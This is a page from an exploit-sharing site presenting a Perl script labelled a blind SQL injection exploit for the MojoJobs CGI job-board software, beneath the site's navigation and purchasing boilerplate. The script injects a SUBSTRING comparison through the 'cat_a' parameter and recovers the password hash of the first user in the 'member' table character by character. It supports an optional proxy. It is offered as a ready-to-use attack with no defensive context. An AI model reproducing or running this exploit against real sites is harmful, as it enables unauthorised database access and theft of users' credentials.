0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MojoJobs (mojoJobs.cgi mojo) Blind SQL Injection Exploit
======================================================== MojoJobs (mojoJobs.cgi mojo) Blind SQL Injection Exploit ======================================================== #!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print " \n"; print " #################### Viva IslaMe Viva IslaMe ################\n"; print " # MojoJobs Blind SQL Injection Exploit #\n"; print " # (mojoJobs.cgi mojo ) #\n"; print " # Author: Mr.SQL #\n"; print " # #\n"; print " # <<>> MuSliMs HaCkErS <<>> #\n"; print " # #\n"; print " # HOME: WwW.PaL-HaCkEr.CoM #\n"; print " # #\n"; print " # Usage : perl test.pl host #\n"; print " # Example: perl test.pl www.host.com / -d 10 #\n"; print " # Options: #\n"; print " # -d valid cat_a value #\n"; print " #############################################################\n"; exit; } my $host = $ARGV[0]; my $cat_a = $ARGV[2]; my %options = (); GetOptions(\%options, "u=i", "p=s", "d=i"); print "[~] Exploiting...\n"; if($options{"b"}) { $mojo = $options{"b"}; } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i++) { my $f = 0; my $h = 48; while(!$f && $h <= 57) { if(istrue2($host, $cat_a, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$f) { $h = 97; while(!$f && $h <= 122) { if(istrue2($host, $cat_a, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print "\n[~] Exploiting done\n"; sub istrue2 { my $host = shift; my $cat_a = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $query = "http://".$host."mojoJobs.cgi?mojo=1&cat_a=".$cat_a." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")"; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $resp = $ua->get($query); my $content = $resp->content; my $regexp = "tourterms.pdf"; if($content =~ /$regexp/) { return 1; } else { return 0; } } # 0day.today [2024-06-16] #